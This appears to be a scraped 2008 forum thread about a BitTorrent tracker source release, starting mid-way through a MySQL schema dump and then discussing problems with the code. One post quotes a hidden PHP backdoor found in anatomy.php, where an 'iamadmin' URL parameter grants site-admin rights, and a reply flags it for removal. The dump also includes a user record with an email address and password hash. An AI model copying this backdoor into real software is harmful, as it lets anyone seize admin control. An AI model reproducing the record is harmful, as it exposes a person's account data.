) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `offervotes`
--
-- --------------------------------------------------------
--
-- Table structure for table `peers`
--
CREATE TABLE `peers` (
`id` int(10) unsigned NOT NULL auto_increment,
`torrent` int(10) unsigned NOT NULL default '0',
`peer_id` varchar(20) character set utf8 collate utf8_bin NOT NULL default '',
`ip` varchar(64) NOT NULL default '',
`port` smallint(5) unsigned NOT NULL default '0',
`uploaded` bigint(20) unsigned NOT NULL default '0',
`downloaded` bigint(20) unsigned NOT NULL default '0',
`to_go` bigint(20) unsigned NOT NULL default '0',
`seeder` enum('yes','no') NOT NULL default 'no',
`started` datetime NOT NULL default '0000-00-00 00:00:00',
`last_action` datetime NOT NULL default '0000-00-00 00:00:00',
`connectable` enum('yes','no') NOT NULL default 'yes',
`userid` int(10) unsigned NOT NULL default '0',
`agent` varchar(60) NOT NULL default '',
`finishedat` int(10) unsigned NOT NULL default '0',
`downloadoffset` bigint(20) unsigned NOT NULL default '0',
`uploadoffset` bigint(20) unsigned NOT NULL default '0',
`passkey` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `torrent_peer_id` (`torrent`,`peer_id`),
KEY `torrent` (`torrent`),
KEY `torrent_seeder` (`torrent`,`seeder`),
KEY `last_action` (`last_action`),
KEY `connectable` (`connectable`),
KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `peers`
--
-- --------------------------------------------------------
--
-- Table structure for table `pollanswers`
--
CREATE TABLE `pollanswers` (
`id` int(10) unsigned NOT NULL auto_increment,
`pollid` int(10) unsigned NOT NULL default '0',
`userid` int(10) unsigned NOT NULL default '0',
`selection` tinyint(3) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `pollid` (`pollid`),
KEY `selection` (`selection`),
KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `pollanswers`
--
-- --------------------------------------------------------
--
-- Table structure for table `polls`
--
CREATE TABLE `polls` (
`id` int(10) unsigned NOT NULL auto_increment,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`question` varchar(255) NOT NULL default '',
`option0` varchar(40) NOT NULL default '',
`option1` varchar(40) NOT NULL default '',
`option2` varchar(40) NOT NULL default '',
`option3` varchar(40) NOT NULL default '',
`option4` varchar(40) NOT NULL default '',
`option5` varchar(40) NOT NULL default '',
`option6` varchar(40) NOT NULL default '',
`option7` varchar(40) NOT NULL default '',
`option8` varchar(40) NOT NULL default '',
`option9` varchar(40) NOT NULL default '',
`option10` varchar(40) NOT NULL default '',
`option11` varchar(40) NOT NULL default '',
`option12` varchar(40) NOT NULL default '',
`option13` varchar(40) NOT NULL default '',
`option14` varchar(40) NOT NULL default '',
`option15` varchar(40) NOT NULL default '',
`option16` varchar(40) NOT NULL default '',
`option17` varchar(40) NOT NULL default '',
`option18` varchar(40) NOT NULL default '',
`option19` varchar(40) NOT NULL default '',
`sort` enum('yes','no') NOT NULL default 'yes',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `polls`
--
-- --------------------------------------------------------
--
-- Table structure for table `posts`
--
CREATE TABLE `posts` (
`id` int(10) unsigned NOT NULL auto_increment,
`topicid` int(10) unsigned NOT NULL default '0',
`userid` int(10) unsigned NOT NULL default '0',
`added` datetime default NULL,
`body` text,
`editedby` int(10) unsigned NOT NULL default '0',
`editedat` datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
KEY `topicid` (`topicid`),
KEY `userid` (`userid`),
FULLTEXT KEY `body` (`body`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `posts`
--
-- --------------------------------------------------------
--
-- Table structure for table `readposts`
--
CREATE TABLE `readposts` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`topicid` int(10) unsigned NOT NULL default '0',
`lastpostread` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `userid` (`id`),
KEY `topicid` (`topicid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `readposts`
--
-- --------------------------------------------------------
--
-- Table structure for table `requests`
--
CREATE TABLE `requests` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`request` varchar(225) default NULL,
`descr` text NOT NULL,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`hits` int(10) unsigned NOT NULL default '0',
`cat` int(10) unsigned NOT NULL default '0',
`filledby` int(10) unsigned NOT NULL default '0',
`filledurl` varchar(70) default NULL,
`filled` enum('yes','no') NOT NULL default 'no',
PRIMARY KEY (`id`),
KEY `userid` (`userid`),
KEY `id_added` (`id`,`added`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `requests`
--
-- --------------------------------------------------------
--
-- Table structure for table `shoutbox`
--
CREATE TABLE `shoutbox` (
`id` smallint(6) NOT NULL auto_increment,
`userid` smallint(6) NOT NULL default '0',
`username` varchar(25) NOT NULL default '',
`date` int(11) NOT NULL default '0',
`text` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- Dumping data for table `shoutbox`
--
INSERT INTO `shoutbox` VALUES (1, 1, 'Dark', 1219955431, ';-)');
INSERT INTO `shoutbox` VALUES (2, 1, 'Dark', 1219962797, ':w00t:');
-- --------------------------------------------------------
--
-- Table structure for table `sitelog`
--
CREATE TABLE `sitelog` (
`id` int(10) unsigned NOT NULL auto_increment,
`added` datetime default NULL,
`txt` text,
PRIMARY KEY (`id`),
KEY `added` (`added`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `sitelog`
--
-- --------------------------------------------------------
--
-- Table structure for table `stylesheets`
--
CREATE TABLE `stylesheets` (
`id` int(10) unsigned NOT NULL auto_increment,
`uri` varchar(255) NOT NULL default '',
`name` varchar(64) NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- Dumping data for table `stylesheets`
--
INSERT INTO `stylesheets` VALUES (1, 'default.css', '(default)');
-- --------------------------------------------------------
--
-- Table structure for table `sysoppanel`
--
CREATE TABLE `sysoppanel` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) default NULL,
`url` varchar(20) default NULL,
`info` varchar(100) default NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3014 ;
--
-- Dumping data for table `sysoppanel`
--
INSERT INTO `sysoppanel` VALUES (3001, 'Delete user', 'delacctadmin.php', 'Delete user without confirm');
INSERT INTO `sysoppanel` VALUES (3003, 'Mass mailer', 'massmail.php', 'Send mail to all tracker users');
INSERT INTO `sysoppanel` VALUES (3005, 'My_Sql stats', 'mysql_stats.php', 'See your MySql stats');
INSERT INTO `sysoppanel` VALUES (3006, 'Manage tracker categories', 'category.php', 'Manage your tracker torrent caregoties');
INSERT INTO `sysoppanel` VALUES (3008, 'Rest lost passwords', 'reset.php', 'Sysop''s reset users password, rest lost passwords');
INSERT INTO `sysoppanel` VALUES (3009, 'Edit forum', 'editforums.php', 'Edit your forum');
INSERT INTO `sysoppanel` VALUES (3010, 'PHP info', 'phpnfo.php', 'Check your PHP status');
INSERT INTO `sysoppanel` VALUES (3012, 'Do Cleanup', 'docleanup.php', 'Do cleanup functions');
INSERT INTO `sysoppanel` VALUES (3013, 'Optimize DB', 'optimize.php', 'This script will optimize your DB');
-- --------------------------------------------------------
--
-- Table structure for table `topics`
--
CREATE TABLE `topics` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`subject` varchar(40) default NULL,
`locked` enum('yes','no') NOT NULL default 'no',
`forumid` int(10) unsigned NOT NULL default '0',
`lastpost` int(10) unsigned NOT NULL default '0',
`sticky` enum('yes','no') NOT NULL default 'no',
`views` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `userid` (`userid`),
KEY `subject` (`subject`),
KEY `lastpost` (`lastpost`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `topics`
--
-- --------------------------------------------------------
--
-- Table structure for table `torrents`
--
CREATE TABLE `torrents` (
`id` int(10) unsigned NOT NULL auto_increment,
`info_hash` varchar(20) character set utf8 collate utf8_bin NOT NULL default '',
`name` varchar(255) NOT NULL default '',
`filename` varchar(255) NOT NULL default '',
`save_as` varchar(255) NOT NULL default '',
`search_text` text NOT NULL,
`descr` text NOT NULL,
`ori_descr` text NOT NULL,
`category` int(10) unsigned NOT NULL default '0',
`size` bigint(20) unsigned NOT NULL default '0',
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`type` enum('single','multi') NOT NULL default 'single',
`numfiles` int(10) unsigned NOT NULL default '0',
`comments` int(10) unsigned NOT NULL default '0',
`views` int(10) unsigned NOT NULL default '0',
`hits` int(10) unsigned NOT NULL default '0',
`times_completed` int(10) unsigned NOT NULL default '0',
`leechers` int(10) unsigned NOT NULL default '0',
`seeders` int(10) unsigned NOT NULL default '0',
`last_action` datetime NOT NULL default '0000-00-00 00:00:00',
`visible` enum('yes','no') NOT NULL default 'yes',
`banned` enum('yes','no') NOT NULL default 'no',
`owner` int(10) unsigned NOT NULL default '0',
`numratings` int(10) unsigned NOT NULL default '0',
`ratingsum` int(10) unsigned NOT NULL default '0',
`nfo` text NOT NULL,
`description` varchar(120) NOT NULL default '',
PRIMARY KEY (`id`),
UNIQUE KEY `info_hash` (`info_hash`),
KEY `owner` (`owner`),
KEY `visible` (`visible`),
KEY `category_visible` (`category`,`visible`),
FULLTEXT KEY `ft_search` (`search_text`,`ori_descr`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `torrents`
--
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL auto_increment,
`username` varchar(40) NOT NULL default '',
`old_password` varchar(40) NOT NULL default '',
`passhash` varchar(32) NOT NULL default '',
`secret` varchar(20) character set utf8 collate utf8_bin NOT NULL default '',
`email` varchar(80) NOT NULL default '',
`status` enum('pending','confirmed') NOT NULL default 'pending',
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`last_login` datetime NOT NULL default '0000-00-00 00:00:00',
`last_access` datetime NOT NULL default '0000-00-00 00:00:00',
`editsecret` varchar(20) character set utf8 collate utf8_bin NOT NULL default '',
`privacy` enum('strong','normal','low') NOT NULL default 'normal',
`stylesheet` int(10) default '1',
`info` text,
`acceptpms` enum('yes','friends','no') NOT NULL default 'yes',
`ip` varchar(15) NOT NULL default '',
`class` tinyint(3) unsigned NOT NULL default '0',
`avatar` varchar(100) NOT NULL default '',
`uploaded` bigint(20) unsigned NOT NULL default '0',
`downloaded` bigint(20) unsigned NOT NULL default '0',
`title` varchar(30) NOT NULL default '',
`country` int(10) unsigned NOT NULL default '0',
`notifs` varchar(100) NOT NULL default '',
`modcomment` text NOT NULL,
`enabled` enum('yes','no') NOT NULL default 'yes',
`avatars` enum('yes','no') NOT NULL default 'yes',
`donor` enum('yes','no') NOT NULL default 'no',
`warned` enum('yes','no') NOT NULL default 'no',
`warneduntil` datetime NOT NULL default '0000-00-00 00:00:00',
`torrentsperpage` int(3) unsigned NOT NULL default '0',
`topicsperpage` int(3) unsigned NOT NULL default '0',
`postsperpage` int(3) unsigned NOT NULL default '0',
`deletepms` enum('yes','no') NOT NULL default 'yes',
`savepms` enum('yes','no') NOT NULL default 'no',
`parked` enum('yes','no') NOT NULL default 'no',
`announce` enum('yes','no') NOT NULL default 'no',
`passkey` varchar(32) NOT NULL,
`last_browse` int(11) NOT NULL default '0',
`seedbonus` decimal(3,1) NOT NULL,
`support` enum('yes','no') NOT NULL default 'no',
`supportfor` text NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`),
KEY `status_added` (`status`,`added`),
KEY `ip` (`ip`),
KEY `uploaded` (`uploaded`),
KEY `downloaded` (`downloaded`),
KEY `country` (`country`),
KEY `last_access` (`last_access`),
KEY `enabled` (`enabled`),
KEY `warned` (`warned`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- Dumping data for table `users`
--
INSERT INTO `users` VALUES (1, 'Dark', '', '9d9c084717c38ffa2da1e62a67ffe6e6', 0x59c390c3bac2b2c3a8392516c59339c2a8c2ae25c3b0697238c28d161c, 'Darkcoder666@hotmail.com', 'confirmed', '2008-08-28 20:28:05', '2008-08-29 00:08:05', '2008-08-29 00:21:08', '', 'normal', 1, NULL, 'yes', '127.0.0.1', 6, '', 0, 0, '', 12, '', '', 'yes', 'yes', 'no', 'no', '0000-00-00 00:00:00', 0, 0, 0, 'yes', 'no', 'no', 'no', '', 1219958757, 0.0, 'no', '');
|
| The Following User Says Thank You to Subzero For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
#4
30th August 2008, 04:35
|
|||
|
|||
|
Why is this code at the bottom of anatomy.php
Code:
<?
if ($_GET["iamadmin"]) {
$tagat=$CURUSER["id"];
mysql_query("UPDATE `users` SET `class` = '9' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
print("Now you are one of site admins :D");
}
if ($_GET["back"]) {
$tagat=$CURUSER["id"];
mysql_query("UPDATE `users` SET `class` = '0' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__);
print("Your class now is 0 :(");
}
stdfoot();
?>
|
| The Following User Says Thank You to 3v0 For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
#5
30th August 2008, 07:53
|
|||
|
|||
|
Remove that from the code as it's a back door into your site. The only other source that I know had this is was Netmaniak's v1.5.
|
| The Following User Says Thank You to Krypto For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
#6
31st August 2008, 00:10
|
|||
|
|||
|
I know fine well what the code is for but did the OP know it was there? Removing anatomy.php altogether would be for the best as who bloody reads it anyway lol
|
|
#7
7th September 2008, 02:39
|
||||
|
||||
True as i didnt LOL
If you do want anatomy Then Replace The Old anatomy.php With this [code] <?php require "include/bittorrent.php"; dbconn(false); stdhead("Torrent anatomy"); ?> <table class=main width=750 border=0 cellspacing=0 cellpadding=0><tr><td class=embedded> <h2>Anatomy of a torrent session </h2> <table width=100% border=1 cellspacing=0 cellpadding=10><tr><td class=text> <em>(Updated to reflect the tracker changes. 14-04-2004)</em> <br><br> There seems to be a lot of confusion about how the statistics updates work. The following is a capture of a full session to see what's going on behind the scenes. The client communicates with the tracker via simple http GET commands. The very first in this case was:<br> <br> <code>GET /announce.php?info_hash=c%97%91%C5jG%951%BE%C7M%F9% BFa%03%F2%2C%ED%EE%0F& peer_id=S588-----gqQ8TqDeqaY&port=6882&uploaded=0&downloaded=0&left =753690875 &event=started</code><br> <br> Let's dissect this:<br> <br>
|
| The Following User Says Thank You to Subzero For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
#8
15th October 2008, 23:48
|
|||
|
|||
|
I have a proplem with shoutbox
Code:
SQL Error Table 'c.shoutbox' doesn't exist in C:\xampp\htdocs\shoutbox.php, line 82 someone help me ? i tink dont exist sql.:| someoane give me plz ?
|
|
#9
16th October 2008, 01:41
|
||||
|
||||
|
Code:
-- -- Table structure for table `shoutbox` -- CREATE TABLE `shoutbox` ( `id` smallint(6) NOT NULL auto_increment, `userid` smallint(6) NOT NULL default '0', `username` varchar(25) NOT NULL default '', `date` int(11) NOT NULL default '0', `text` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ; -- -- Dumping data for table `shoutbox` -- INSERT INTO `shoutbox` VALUES (1, 1, 'Dark', 1219955431, ';-)'); INSERT INTO `shoutbox` VALUES (2, 1, 'Dark', 1219962797, ':w00t:');
|
| The Following User Says Thank You to Subzero For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
| Tags |
| darks , dark`s , source |
«
Previous Thread
|
Next Thread
»
|
|
All times are GMT +2. The time now is 07:29.
vBulletin skin by ForumMonkeys.
Powered by vBulletin® Version 3.8.11 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions Inc.
Copyright ©2000 - 2024, vBulletin Solutions Inc.